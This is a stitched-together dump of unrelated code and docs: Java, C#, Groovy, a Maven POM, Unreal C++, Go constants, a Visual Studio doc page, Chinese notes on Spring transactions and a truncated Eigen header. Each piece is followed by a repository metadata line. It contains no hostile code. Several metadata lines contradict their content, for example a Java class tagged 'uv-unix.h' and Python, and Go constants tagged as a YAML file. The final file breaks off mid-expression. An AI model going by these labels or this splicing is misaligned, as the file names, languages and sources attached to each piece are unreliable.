package com.stuffwithstuff.magpie.intrinsic; import com.stuffwithstuff.magpie.ast.Expr; import com.stuffwithstuff.magpie.ast.pattern.Pattern; import com.stuffwithstuff.magpie.interpreter.Callable; import com.stuffwithstuff.magpie.interpreter.ClassObj; import com.stuffwithstuff.magpie.interpreter.Context; import com.stuffwithstuff.magpie.interpreter.Name; import com.stuffwithstuff.magpie.interpreter.Obj; import com.stuffwithstuff.magpie.interpreter.Scope; /** * Built-in callable for creating an instance of some class. It relies on * "init()" to do the actual initialization. "new()" just creates a fresh * object and stores it where the "init()" built-in can find it. */ public class ClassNew implements Callable { public ClassNew(Scope closure) { mClosure = closure; } @Override public Obj invoke(Context context, Obj arg) { // Get the class being constructed. ClassObj classObj = arg.getField(0).asClass(); return context.getInterpreter().constructNewObject( context, classObj, arg.getField(1)); } @Override public Pattern getPattern() { // The receiver is any instance of Class, and it takes any argument, since // it will simply forward it onto 'init()'. return Pattern.record( Pattern.type(Expr.name(Name.CLASS)), Pattern.wildcard()); } @Override public Scope getClosure() { return mClosure; } @Override public String getDoc() { return "Creates a new instance of a class."; } private final Scope mClosure; }
{'repo_name': 'munificent/magpie', 'stars': '272', 'repo_language': 'Python', 'file_name': 'uv-unix.h', 'mime_type': 'text/x-c', 'hash': -4177598614154122755, 'source_dataset': 'data'}
using UnityEngine; using Newtonsoft.Json; using Newtonsoft.Json.Serialization; using Newtonsoft.Json.Linq; using System.Reflection; using System; using System.Linq; namespace GILES.Serialization { public class pb_MaterialConverter : pb_UnityTypeConverter<Material> { public override void WriteObjectJson(JsonWriter writer, object value, JsonSerializer serializer) { JObject o = new JObject(); Material mat = ((UnityEngine.Material)value); o.Add("name", mat.name); o.Add("shader", mat.shader.name.ToString()); o.Add("shaderObj", JObject.FromObject(mat.shader)); o.WriteTo(writer, serializer.Converters.ToArray()); } public override object ReadJsonObject(JObject obj, Type objectType, object existingValue, JsonSerializer serializer) { try { string name = obj.GetValue("name").ToObject<string>(); string shader = obj.GetValue("shader").ToObject<string>(); Material mat = new Material(Shader.Find(shader)); mat.name = name; return mat; } catch { return null; } } } }
{'repo_name': 'Unity-Technologies/giles', 'stars': '438', 'repo_language': 'C#', 'file_name': 'AudioManager.asset', 'mime_type': 'text/plain', 'hash': 3883131235639742770, 'source_dataset': 'data'}
/* * Copyright 2013 Ray Holder * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.github.rholder.gradle; import org.gradle.api.Plugin import org.gradle.api.Project import com.github.rholder.gradle.task.OneJar /** * This plugin rolls up your current project's jar and all of its dependencies * into the the layout expected by One-JAR, producing a single runnable * fat-jar, similar to the following: * * <pre> * my-awesome-thing-1.2.3-standalone.jar * | * +---- com * |   +---- simontuffs * |   +---- onejar * |   +---- Boot.class * | +---- (etc., etc.) * |   +---- OneJarURLConnection.class * +---- doc * |   +---- one-jar-license.txt * +---- lib * |   +---- other-cool-lib-1.7.jar * |   +---- some-cool-lib-2.5.jar * +---- main * |   +-- main.jar * +---- META-INF * |   +---- MANIFEST.MF * +---- OneJar.class * +---- .version * * </pre> * * At a minimum, the configuration expects to find a custom 'mainClass' when * adding the plugin to your own builds, as in: * * <pre> * apply plugin: 'gradle-one-jar' * * task awesomeFunJar(type: OneJar) { * mainClass = 'com.github.rholder.awesome.MyAwesomeMain' * } * * </pre> */ class GradleOneJarPlugin implements Plugin<Project> { // TODO test task lifecycle for sub-projects // TODO integrate external test project void apply(Project project) { project.apply(plugin:'java') project.ext.OneJar = OneJar.class } }
{'repo_name': 'rholder/gradle-one-jar', 'stars': '212', 'repo_language': 'Groovy', 'file_name': 'gradle-wrapper.properties', 'mime_type': 'text/plain', 'hash': -7470927014135866361, 'source_dataset': 'data'}
<?xml version="1.0" encoding="UTF-8"?> <project xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.pentaho.di.plugins</groupId> <artifactId>gp-bulk-loader</artifactId> <version>9.2.0.0-SNAPSHOT</version> </parent> <artifactId>gp-bulk-loader-core</artifactId> <version>9.2.0.0-SNAPSHOT</version> <name>PDI GP Bulk Loader Plugin Core</name> <properties> <dependency.javax.servlet-api.version>3.0.1</dependency.javax.servlet-api.version> <pdi.version>9.2.0.0-SNAPSHOT</pdi.version> <build.revision>${project.version}</build.revision> <timestamp>${maven.build.timestamp}</timestamp> <build.description>${project.description}</build.description> <maven.build.timestamp.format>yyyy/MM/dd hh\:mm</maven.build.timestamp.format> </properties> <dependencies> <dependency> <groupId>pentaho-kettle</groupId> <artifactId>kettle-engine</artifactId> <version>${pdi.version}</version> </dependency> <dependency> <groupId>pentaho-kettle</groupId> <artifactId>kettle-core</artifactId> <version>${pdi.version}</version> </dependency> <dependency> <groupId>pentaho-kettle</groupId> <artifactId>kettle-ui-swt</artifactId> <version>${pdi.version}</version> </dependency> <dependency> <groupId>org.eclipse.swt</groupId> <artifactId>org.eclipse.swt.gtk.linux.x86_64</artifactId> <version>4.6</version> </dependency> <dependency> <groupId>org.eclipse</groupId> <artifactId>jface</artifactId> <version>3.3.0-I20070606-0010</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.7</version> </dependency> <dependency> <groupId>org.mockito</groupId> <artifactId>mockito-all</artifactId> <version>1.9.5</version> </dependency> <dependency> <groupId>pentaho-kettle</groupId> <artifactId>kettle-engine</artifactId> <version>${pdi.version}</version> <classifier>tests</classifier> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>${dependency.javax.servlet-api.version}</version> <scope>provided</scope> </dependency> </dependencies> <build> <resources> <resource> <filtering>true</filtering> <directory>src/main/resources</directory> </resource> </resources> </build> </project>
{'repo_name': 'pentaho/pentaho-kettle', 'stars': '4116', 'repo_language': 'Java', 'file_name': 'subfloor.xml', 'mime_type': 'text/plain', 'hash': -2308319290811356837, 'source_dataset': 'data'}
// Fill out your copyright notice in the Description page of Project Settings. #include "CavemanTestField.h" #include "BTTask_Escape.h" #include "MyCharacter_FirstTry.h" #include "WolfAIController.h" #include "WolfCharacter.h" #include "PathNode.h" #include "DrawDebugHelpers.h" #include "BehaviorTree/BehaviorTreeComponent.h" #include "BehaviorTree/BlackboardComponent.h" #include "BehaviorTree/Blackboard/BlackboardKeyAllTypes.h" EBTNodeResult::Type UBTTask_Escape::ExecuteTask(UBehaviorTreeComponent& OwnedTree, uint8* Node) { AWolfAIController* Controller = Cast<AWolfAIController>(OwnedTree.GetAIOwner()); if (!Controller) { GLog->Log("Controller fail"); return EBTNodeResult::Failed; } FName SensedTargetKey = "SensedTarget"; AMyCharacter_FirstTry* Caveman = Cast<AMyCharacter_FirstTry>(OwnedTree.GetBlackboardComponent()->GetValueAsObject(SensedTargetKey)); if (Caveman) { TArray<FHitResult> HitResults; //Start and End Location of the capsule FVector StartLocation = Caveman->GetActorLocation(); FVector EndLocation = StartLocation; EndLocation.Z += Caveman->GetCapsuleComponent()->GetUnscaledCapsuleHalfHeight() / 2; //Collision Channel ECollisionChannel ECC = ECollisionChannel::ECC_WorldDynamic; //Collision Shape FCollisionShape CollisionShape; //Making Collision in sphere CollisionShape.ShapeType = ECollisionShape::Sphere; CollisionShape.SetSphere(350); //Sweeping for possible escape nodes if (Caveman->GetWorld()->SweepMultiByChannel(HitResults, StartLocation, EndLocation, FQuat::FQuat(), ECC, CollisionShape)) { //DrawDebugSphere(Caveman->GetWorld(), ((EndLocation - StartLocation) / 2) + StartLocation, CollisionShape.GetSphereRadius(), 100, FColor::Green, true); TArray<AActor*> AllPathNodes; UGameplayStatics::GetAllActorsOfClass(Caveman->GetWorld(), APathNode::StaticClass(), AllPathNodes); APathNode* NextNode; NextNode = Cast<APathNode>(AllPathNodes[FMath::RandRange(0, AllPathNodes.Num() - 1)]); //Finding next possible node while (NextNode->bIsCurrentlyOccupied && AllPathNodes.Contains(NextNode)) { NextNode = Cast<APathNode>(AllPathNodes[FMath::RandRange(0, AllPathNodes.Num() - 1)]); GLog->Log("Fear success"); } //Occupy the node NextNode->bIsCurrentlyOccupied = true; //Set the new node in the blackboard OwnedTree.GetBlackboardComponent()->SetValue<UBlackboardKeyType_Object>(BlackboardKey.GetSelectedKeyID(), NextNode); //OwnedTree.GetBlackboardComponent()->SetValue<UBlackboardKeyType_Object>(Bl) GLog->Log("Success after while"); return EBTNodeResult::Succeeded; } } GLog->Log("General Fail"); return EBTNodeResult::Failed; }
{'repo_name': 'orfeasel/PortfolioSnippets', 'stars': '111', 'repo_language': 'C++', 'file_name': 'Trap.cpp', 'mime_type': 'text/x-c', 'hash': 2058924185607227789, 'source_dataset': 'data'}
// Code generated by private/model/cli/gen-api/main.go. DO NOT EDIT. package apigatewaymanagementapi const ( // ErrCodeForbiddenException for service response error code // "ForbiddenException". // // The caller is not authorized to invoke this operation. ErrCodeForbiddenException = "ForbiddenException" // ErrCodeGoneException for service response error code // "GoneException". // // The connection with the provided id no longer exists. ErrCodeGoneException = "GoneException" // ErrCodeLimitExceededException for service response error code // "LimitExceededException". // // The client is sending more than the allowed number of requests per unit of // time or the WebSocket client side buffer is full. ErrCodeLimitExceededException = "LimitExceededException" // ErrCodePayloadTooLargeException for service response error code // "PayloadTooLargeException". // // The data has exceeded the maximum size allowed. ErrCodePayloadTooLargeException = "PayloadTooLargeException" )
{'repo_name': 'Tencent/bk-cmdb', 'stars': '3515', 'repo_language': 'Go', 'file_name': 'connection-must-order-ids.yml', 'mime_type': 'text/plain', 'hash': -6443836107559744279, 'source_dataset': 'data'}
--- title: KeyBinding Element | Microsoft Docs ms.date: 11/04/2016 ms.topic: conceptual helpviewer_keywords: - VSCT XML schema elements, KeyBindings - KeyBinding element (VSCT XML schema) ms.assetid: e55a1098-15df-42a9-9f87-e3a99cf437dd author: acangialosi ms.author: anthc manager: jillfra ms.workload: - vssdk --- # KeyBinding element The KeyBinding element specifies keyboard shortcuts for the commands. Commands can have both single and dual key bindings associated with them. An example of a single key binding is **Ctrl**+**S** for the **Save** command. Dual key bindings require two successive key combinations to trigger a command. An example of a dual key binding is <strong>Ctrl*+</strong>K<strong>,</strong>Ctrl<strong>+</strong>K** to set a bookmark. ## Syntax ``` <Keybinding guid="MyGuid" id="MyId" Editor="MyEditor" key1="B" key2="x" mod1="Control" mod2="Alt" /> ``` ## Attributes and elements The following sections describe attributes, child elements, and parent elements. ### Attributes |Attribute|Description| |---------------|-----------------| |guid|Required.| |id|Required.| |editor|Required. The editor GUID indicates the editing context for which this keyboard shortcut will be active. The global binding scope value is "guidVSStd97".| |key1|Required. Valid values include all typable alphanumerics, and also two-digit hexadecimal values preceded by 0x and [VK_constants](/windows/desktop/inputdev/virtual-key-codes).| |mod1|Optional. Any combination of **Ctrl**, **Alt**, and **Shift** separated by space.| |key2|Optional. Valid values include all typable alphanumerics, and also two-digit hexadecimal values preceded by 0x and [VK_constants](/windows/desktop/inputdev/virtual-key-codes).| |mod2|Optional. Any combination of **Ctrl**, **Alt**, and **Shift** separated by space.| |emulator|Optional.| |Condition|Optional. See [Conditional attributes](../extensibility/vsct-xml-schema-conditional-attributes.md).| ### Child elements |Element|Description| |-------------|-----------------| |Parent|| |Annotation|| ### Parent elements |Element|Description| |-------------|-----------------| |[KeyBindings element](../extensibility/keybindings-element.md)|Groups KeyBinding elements and other KeyBindings groupings.| ## Example ``` <KeyBindings> <KeyBinding guid="guidWidgetPackage" id="cmdidUpdateWidget" editor="guidWidgetEditor" key1="VK_F5"/> <KeyBinding guid="guidWidgetPackage" id="cmdidRunWidget" editor="guidWidgetEditor" key1="VK_F5" mod1="Control"/> </KeyBindings> ``` ## See also - [KeyBindings element](../extensibility/keybindings-element.md) - [Visual Studio command table (.vsct) files](../extensibility/internals/visual-studio-command-table-dot-vsct-files.md)
{'repo_name': 'MicrosoftDocs/visualstudio-docs', 'stars': '606', 'repo_language': 'Python', 'file_name': 'how-to-create-a-basic-3-d-model.md', 'mime_type': 'text/plain', 'hash': 894659155731934894, 'source_dataset': 'data'}
# 一、事务的具体定义 事务提供一种机制将一个活动涉及的所有操作纳入到一个不可分割的执行单元,组成事务的所有操作只有在所有操作均能正常执行的情况下方能提交,只要其中任一操作执行失败,都将导致整个事务的回滚。 简单地说,事务提供一种“要么什么都不做,要么做全套(All or Nothing)”机制。ACID就不说了,ACID就是对这句话的一个解释。 # 二、并发环境下的数据库事务 ## 2.1 事务并发执行会出现的问题 我们先来看一下事务并发,数据库可能会出现的问题: - 更新丢失(问题严重) 当有两个并发执行的事务,更新同一行数据,那么有可能一个操作会把另一个操作的更新覆盖掉。 - 脏读 (问题严重) 一个事务读到另一个尚未提交的事务中的数据,即读到了事务的处理过程中的数据,而不是结果数据。 该数据可能会被回滚从而失效。 如果第一个事务拿着失效的数据去处理那就发生错误了。 - 不可重复读 (一般来说可以接受) 不可重复读的含义:一个事务对同一行数据读了两次,却得到了不同的结果。它具体分为如下两种情况: 虚读:在事务1两次读取同一记录的过程中,事务2对该记录进行了修改,从而事务1第二次读到了不一样的记录。 幻读:事务1在两次查询的过程中,事务2对该表进行了插入、删除操作,从而事务1第二次查询的结果数量发生了变化。 > 不可重复读 与 脏读 的区别? > 脏读读到的是尚未提交的数据,而不可重复读读到的是已经提交的数据,只不过在两次读的过程中数据被另一个事务改过了。 ## 2.2 如何解决并发过程中事务问题(事务隔离) 数据库一共有如下四种隔离级别: - Read uncommitted 读未提交 在该级别下,一个事务对一行数据修改的过程中,不允许另一个事务对该行数据进行修改,但允许另一个事务对该行数据读。 因此本级别下,不会出现更新丢失,但会出现脏读、不可重复读。 - Read committed 读提交 (oracle、sqlserver默认的隔离级别) 在该级别下,未提交的写事务不允许其他事务访问该行,因此**不会出现脏读**;但是读取数据的事务允许其他事务的访问该行数据,因此会出现不可重复读的情况。 - Repeatable read 重复读 (mysql的默认隔离级别) 简单说就是:一个事务开始读或写数据时,不允许其他事务对该数据进行修改。在该级别下,读事务禁止写事务,但允许读事务,因此不会出现同一事务两次读到不同的数据的情况(不可重复读),且写事务禁止其他一切事务。**这个级别无法解决幻读问题**。 - Serializable 序列化 该级别要求所有事务都必须串行执行,因此能避免一切因并发引起的问题,但效率很低。 ![](https://cdn.jsdelivr.net/gh/krislinzhao/IMGcloud/img/20200425125418.png) 隔离级别越高,越能保证数据的完整性和一致性,但是对并发性能的影响也越大。对于多数应用程序,可以优先考虑把数据库系统的隔离级别设为Read Committed。它能够避免脏读取,而且具有较好的并发性能。尽管它会导致不可重复读、幻读这些并发问题,应该由应用程序员采用悲观锁或乐观锁来控制。 # 三、事务传播行为 ### 举例说明 事务传播行为用来描述由某一个事务传播行为修饰的方法被嵌套进另一个方法的时事务如何传播。 用伪代码说明: ``` ServiceA { void methodA() { ServiceB.methodB(); } } ServiceB { void methodB() { } } ``` 代码中`methodA()`方法嵌套调用了`methodB()`方法,`methodB()`的事务传播行为由`@Transaction(Propagation=XXX)`设置决定。 ### Spring中七种事务传播行为 | 事务传播行为类型 | 说明 | | :------------------------ | :----------------------------------------------------------- | | PROPAGATION_REQUIRED | 如果当前没有事务,就新建一个事务,如果已经存在一个事务中,加入到这个事务中。这是最常见的选择。 | | PROPAGATION_SUPPORTS | 支持当前事务,如果当前没有事务,就以非事务方式执行。 | | PROPAGATION_MANDATORY | 使用当前的事务,如果当前没有事务,就抛出异常。 | | PROPAGATION_REQUIRES_NEW | 新建事务,如果当前存在事务,把当前事务挂起。 | | PROPAGATION_NOT_SUPPORTED | 以非事务方式执行操作,如果当前存在事务,就把当前事务挂起。 | | PROPAGATION_NEVER | 以非事务方式执行,如果当前存在事务,则抛出异常。 | | PROPAGATION_NESTED | 如果当前存在事务,则在嵌套事务内执行。如果当前没有事务,则执行与PROPAGATION_REQUIRED类似的操作。 | 定义非常简单,也很好理解,下面我们就进入代码测试部分,验证我们的理解是否正确。 # 四、@Transactional 注解 | 属性名 | 说明 | | :--------------- | :----------------------------------------------------------- | | value | 当在配置文件中有多个 TransactionManager , 可以用该属性指定选择哪个事务管理器。 | | propagation | 事务的传播行为,默认值为 REQUIRED。 | | isolation | 事务的隔离度,默认值采用 DEFAULT。 | | timeout | 事务的超时时间,默认值为-1。如果超过该时间限制但事务还没有完成,则自动回滚事务。 | | read-only | 指定事务是否为只读事务,默认值为 false;为了忽略那些不需要事务的方法,比如读取数据,可以设置 read-only 为 true。 | | rollback-for | 用于指定能够触发事务回滚的异常类型,如果有多个异常类型需要指定,各类型之间可以通过逗号分隔。 | | no-rollback- for | 抛出 no-rollback-for 指定的异常类型,不回滚事务。 | # 五、spring事务的实现 spring事务本质上是依赖于数据库事务 ![img](https://box.kancloud.cn/83b7902520146de4b8468a6c12210d56_955x538.png) Spring事务本质上是依赖于第三方的实现 ![img](https://box.kancloud.cn/312679a3bf90c280b9f4fed1f77a8e37_640x369.png) # 六、分布式事务 笔者自己将分布式事务分为两种:跨服务的分布式事务,跨库的分布式事务。 1. 跨库的分布式事务:我在做一个服务A的时候,需要同时操作两个数据库。我们之前给大家讲的例子都是这一种,实际上总的思路就是有一个对象统一管理多个事务的提交与回滚。这种分布式事务还是在数据库层面去解决的。 > 为了大家方便理解:我以小故事给大家简单讲一下两段式提交:假如我在外地出差到了妇女节分别用给老婆和妈邮寄了礼物,我希望他们两个都收到礼物并拥有礼物。首先我用快递把礼物邮到家里,这是一段提交。老婆和妈告诉我:收到了收到了,谢谢!才发现包装盒带密码,她们没法看礼物。然后我给老婆和妈打电话,告诉他们密码,他们就可以看了。大家有问题:1.一阶段没问题有响应才到第二阶段,二阶段礼物到家之后,老婆电话停机怎么办?只给妈妈打了电话,没给老婆打。笔者说:这种问题是所有分布式事务解决方案都要面对的问题(面对网络与宕机问题任何分布式事务都会失效),这个不是两段式提交自己的问题。那么就没办法了么?有,网络超时就有异常,有异常就回滚,告诉妈妈这个礼物有问题要退回。2.给妈打完电话之后我的电话停机了怎么办?就是补偿方案,我记得这个电话没打给老婆,等电话充费后再打,进而达到最终一致性,重点是我要记得。在这个例子中,我就是一个事务管理器,而老婆和妈就是资源管理器,资源管理器是在数据库的组件,而事务管理器通常是应用组件。而不同的数据库对两段式提交的支持是不同的,也就是资源管理器不同。参考:[ 分布式事务之——MySQL对XA事务的支持](https://blog.csdn.net/l1028386804/article/details/79769043) ![](https://cdn.jsdelivr.net/gh/krislinzhao/IMGcloud/img/20200425130122.png) 1. 跨服务分布式事务: 也就是说我在做一个服务A的时候,需要通过网络调用多个其他服务,有可能第一个服务B成功了,第二个服务C执行失败了。这种分布式单纯的依靠数据库层面就很难解决了,一般都是通过最终一致性的方式解决。比如:通过MQ,给服务B发消息,服务B执行,然后真的做持久化操作数据入库了。给服务C发消息,服务C执行失败,这个消息就会存在MQ里面,依照一定的策略还会发给服务C,直到服务C成功为止。这样保障最终一致。
{'repo_name': 'krislinzhao/StudyNotes', 'stars': '191', 'repo_language': 'None', 'file_name': '13.SpringMVC小结.md', 'mime_type': 'text/plain', 'hash': 3463872449762133159, 'source_dataset': 'data'}
// This file is part of Eigen, a lightweight C++ template library // for linear algebra. // // Copyright (C) 2009 Benoit Jacob <jacob.benoit.1@gmail.com> // Copyright (C) 2009 Gael Guennebaud <gael.guennebaud@inria.fr> // // This Source Code Form is subject to the terms of the Mozilla // Public License v. 2.0. If a copy of the MPL was not distributed // with this file, You can obtain one at http://mozilla.org/MPL/2.0/. #ifndef EIGEN_JACOBI_H #define EIGEN_JACOBI_H namespace Eigen { /** \ingroup Jacobi_Module * \jacobi_module * \class JacobiRotation * \brief Rotation given by a cosine-sine pair. * * This class represents a Jacobi or Givens rotation. * This is a 2D rotation in the plane \c J of angle \f$ \theta \f$ defined by * its cosine \c c and sine \c s as follow: * \f$ J = \left ( \begin{array}{cc} c & \overline s \\ -s & \overline c \end{array} \right ) \f$ * * You can apply the respective counter-clockwise rotation to a column vector \c v by * applying its adjoint on the left: \f$ v = J^* v \f$ that translates to the following Eigen code: * \code * v.applyOnTheLeft(J.adjoint()); * \endcode * * \sa MatrixBase::applyOnTheLeft(), MatrixBase::applyOnTheRight() */ template<typename Scalar> class JacobiRotation { public: typedef typename NumTraits<Scalar>::Real RealScalar; /** Default constructor without any initialization. */ JacobiRotation() {} /** Construct a planar rotation from a cosine-sine pair (\a c, \c s). */ JacobiRotation(const Scalar& c, const Scalar& s) : m_c(c), m_s(s) {} Scalar& c() { return m_c; } Scalar c() const { return m_c; } Scalar& s() { return m_s; } Scalar s() const { return m_s; } /** Concatenates two planar rotation */ JacobiRotation operator*(const JacobiRotation& other) { using numext::conj; return JacobiRotation(m_c * other.m_c - conj(m_s) * other.m_s, conj(m_c * conj(other.m_s) + conj(m_s) * conj(other.m_c))); } /** Returns the transposed transformation */ JacobiRotation transpose() const { using numext::conj; return JacobiRotation(m_c, -conj(m_s)); } /** Returns the adjoint transformation */ JacobiRotation adjoint() const { using numext::conj; return JacobiRotation(conj(m_c), -m_s); } template<typename Derived> bool makeJacobi(const MatrixBase<Derived>&, typename Derived::Index p, typename Derived::Index q); bool makeJacobi(const RealScalar& x, const Scalar& y, const RealScalar& z); void makeGivens(const Scalar& p, const Scalar& q, Scalar* z=0); protected: void makeGivens(const Scalar& p, const Scalar& q, Scalar* z, internal::true_type); void makeGivens(const Scalar& p, const Scalar& q, Scalar* z, internal::false_type); Scalar m_c, m_s; }; /** Makes \c *this as a Jacobi rotation \a J such that applying \a J on both the right and left sides of the selfadjoint 2x2 matrix * \f$ B = \left ( \begin{array}{cc} x & y \\ \overline y & z \end{array} \right )\f$ yields a diagonal matrix \f$ A = J^* B J \f$ * * \sa MatrixBase::makeJacobi(const MatrixBase<Derived>&, Index, Index), MatrixBase::applyOnTheLeft(), MatrixBase::applyOnTheRight() */ template<typename Scalar> bool JacobiRotation<Scalar>::makeJacobi(const RealScalar& x, const Scalar& y, const RealScalar& z) { using std::sqrt; using std::abs; typedef typename NumTraits<Scalar>::Real RealScalar; if(y == Scalar(0)) { m_c = Scalar(1); m_s = Scalar(0); return false; } else { RealScalar tau = (x-z)/(RealScalar(2)*abs(y)); RealScalar w = sqrt(numext::abs2(tau) + RealScalar(1)); RealScalar t; if(tau>RealScalar(0)) { t = RealScalar(1) / (tau + w); } else { t = RealScalar(1) / (tau - w); } RealScalar sign_t = t > RealScalar(0) ? RealScalar(1) : RealScalar(-1); RealScalar n = RealScalar(1) / sqrt(numext::abs2(t)+RealScalar(1)); m_s = - sign_t * (numext::conj(y) / abs(y)) * abs(t) * n; m_c = n; return true; } } /** Makes \c *this as a Jacobi rotation \c J such that applying \a J on both the right and left sides of the 2x2 selfadjoint matrix * \f$ B = \left ( \begin{array}{cc} \text{this}_{pp} & \text{this}_{pq} \\ (\text{this}_{pq})^* & \text{this}_{qq} \end{array} \right )\f$ yields * a diagonal matrix \f$ A = J^* B J \f$ * * Example: \include Jacobi_makeJacobi.cpp * Output: \verbinclude Jacobi_makeJacobi.out * * \sa JacobiRotation::makeJacobi(RealScalar, Scalar, RealScalar), MatrixBase::applyOnTheLeft(), MatrixBase::applyOnTheRight() */ template<typename Scalar> template<typename Derived> inline bool JacobiRotation<Scalar>::makeJacobi(const MatrixBase<Derived>& m, typename Derived::Index p, typename Derived::Index q) { return makeJacobi(numext::real(m.coeff(p,p)), m.coeff(p,q), numext::real(m.coeff(q,q))); } /** Makes \c *this as a Givens rotation \c G such that applying \f$ G^* \f$ to the left of the vector * \f$ V = \left ( \begin{array}{c} p \\ q \end{array} \right )\f$ yields: * \f$ G^* V = \left ( \begin{array}{c} r \\ 0 \end{array} \right )\f$. * * The value of \a z is returned if \a z is not null (the default is null). * Also note that G is built such that the cosine is always real. * * Example: \include Jacobi_makeGivens.cpp * Output: \verbinclude Jacobi_makeGivens.out * * This function implements the continuous Givens rotation generation algorithm * found in Anderson (2000), Discontinuous Plane Rotations and the Symmetric Eigenvalue Problem. * LAPACK Working Note 150, University of Tennessee, UT-CS-00-454, December 4, 2000. * * \sa MatrixBase::applyOnTheLeft(), MatrixBase::applyOnTheRight() */ template<typename Scalar> void JacobiRotation<Scalar>::makeGivens(const Scalar& p, const Scalar& q, Scalar* z) { makeGivens(p, q, z, typename internal::conditional<NumTraits<Scalar>::IsComplex, internal::true_type, internal::false_type>::type()); } // specialization for complexes template<typename Scalar> void JacobiRotation<Scalar>::makeGivens(const Scalar& p, const Scalar& q, Scalar* r, internal::true_type) { using std::sqrt; using std::abs; using numext::conj; if(q==Scalar(0)) { m_c = numext::real(p)<0 ? Scalar(-1) : Scalar(1); m_s = 0; if(r) *r = m_c * p; } else if(p==Scalar(0)) { m_c = 0; m_s = -q/abs(q); if(r) *r = abs(q); } else { RealScalar p1 = numext::norm1(p); RealScalar q1 = numext::norm1(q); if(p1>=q1) { Scalar ps = p / p1; RealScalar p2 = numext::abs2(ps); Scalar qs = q / p1; RealScalar q2 = numext::abs2(qs); RealScalar u = sqrt(RealScalar(1) + q2/p2); if(numext::real(p)<RealScalar(0)) u = -u; m_c = Scalar(1)/u; m_s = -qs*conj(ps)*(m_c/p2); if(r) *r = p * u; } else { Scalar ps = p / q1; RealScalar p2 = numext::abs2(ps); Scalar qs = q / q1; RealScalar q2 = numext::abs2(qs); RealScalar u = q1 * sqrt(p2 + q2); if(numext::real(p)<RealScalar(0)) u = -u; p1 = abs(p); ps = p/p1; m_c = p1/u; m_s = -conj(ps) * (q/u); if(r) *r = ps * u; } } } // specialization for reals template<typename Scalar> void JacobiRotation<Scalar>::makeGivens(const Scalar& p, const Scalar& q, Scalar* r, internal::false_type) { using std::sqrt; using std::abs; if(q==Scalar(0)) { m_c = p<Scalar(0) ? Scalar(-1) : Scalar(1); m_s = Scalar(0); if(r) *r = abs(p); } else if(p==Scalar(0)) { m_c = Scalar(0); m_s = q<Scalar(0) ? Scalar(1) : Scalar(-1); if(r) *r = abs(q); } else if(abs(p) > abs(q)) { Scalar t = q/p; Scalar u = sqrt(Scalar(1) + numext::abs2(t)); if(p<Scalar(0)) u = -u; m_c = Scalar(1)/u; m_s = -t * m_c; if(r) *r = p * u; } else { Scalar t = p/q; Scalar u = sqrt(Scalar(1) + numext::abs2(t)); if(q<Scalar(0)) u = -u; m_s = -Scalar(1)/u; m_c = -t * m_s; if(r) *r = q * u; } } /**************************************************************************************** * Implementation of MatrixBase methods ****************************************************************************************/ /** \jacobi_module * Applies the clock wise 2D rotation \a j to the set of 2D vectors of cordinates \a x and \a y: * \f$ \left ( \begin{array}{cc} x \\ y \end{array} \right ) = J \left ( \begin{array}{cc} x \\ y \end{array} \right ) \f$ * * \sa MatrixBase::applyOnTheLeft(), MatrixBase::applyOnTheRight() */ namespace internal { template<typename VectorX, typename VectorY, typename OtherScalar> void apply_rotation_in_the_plane(VectorX& _x, VectorY& _y, const JacobiRotation<OtherScalar>& j); } /** \jacobi_module * Applies the rotation in the plane \a j to the rows \a p and \a q of \c *this, i.e., it computes B = J * B, * with \f$ B = \left ( \begin{array}{cc} \text{*this.row}(p) \\ \text{*this.row}(q) \end{array} \right ) \f$. * * \sa class JacobiRotation, MatrixBase::applyOnTheRight(), internal::apply_rotation_in_the_plane() */ template<typename Derived> template<typename OtherScalar> inline void MatrixBase<Derived>::applyOnTheLeft(Index p, Index q, const JacobiRotation<OtherScalar>& j) { RowXpr x(this->row(p)); RowXpr y(this->row(q)); internal::apply_rotation_in_the_plane(x, y, j); } /** \ingroup Jacobi_Module * Applies the rotation in the plane \a j to the columns \a p and \a q of \c *this, i.e., it computes B = B * J * with \f$ B = \left ( \begin{array}{cc} \text{*this.col}(p) & \text{*this.col}(q) \end{array} \right ) \f$. * * \sa class JacobiRotation, MatrixBase::applyOnTheLeft(), internal::apply_rotation_in_the_plane() */ template<typename Derived> template<typename OtherScalar> inline void MatrixBase<Derived>::applyOnTheRight(Index p, Index q, const JacobiRotation<OtherScalar>& j) { ColXpr x(this->col(p)); ColXpr y(this->col(q)); internal::apply_rotation_in_the_plane(x, y, j.transpose()); } namespace internal { template<typename VectorX, typename VectorY, typename OtherScalar> void /*EIGEN_DONT_INLINE*/ apply_rotation_in_the_plane(VectorX& _x, VectorY& _y, const JacobiRotation<OtherScalar>& j) { typedef typename VectorX::Index Index; typedef typename VectorX::Scalar Scalar; enum { PacketSize = packet_traits<Scalar>::size }; typedef typename packet_traits<Scalar>::type Packet; eigen_assert(_x.size() == _y.size()); Index size = _x.size(); Index incrx = _x.innerStride(); Index incry = _y.innerStride(); Scalar* EIGEN_RESTRICT x = &_x.coeffRef(0); Scalar* EIGEN_RESTRICT y = &_y.coeffRef(0); OtherScalar c = j.c(); OtherScalar s = j.s(); if (c==OtherScalar(1) && s==OtherScalar(0)) return; /*** dynamic-size vectorized paths ***/ if(VectorX::SizeAtCompileTime == Dynamic && (VectorX::Flags & VectorY::Flags & PacketAccessBit) && ((incrx==1 && incry==1) || PacketSize == 1)) { // both vectors are sequentially stored in memory => vectorization enum { Peeling = 2 }; Index alignedStart = internal::first_aligned(y, size); Index alignedEnd = alignedStart + ((size-alignedStart)/PacketSize)*PacketSize; const Packet pc = pset1<Packet>(c); const Packet ps = pset1<Packet>(s); conj_helper<Packet,Packet,NumTraits<Scalar>::IsComplex,false> pcj; for(Index i=0; i<alignedStart; ++i) { Scalar xi = x[i]; Scalar yi = y[i]; x[i] = c * xi + numext::conj(s) * yi; y[i] = -s * xi + 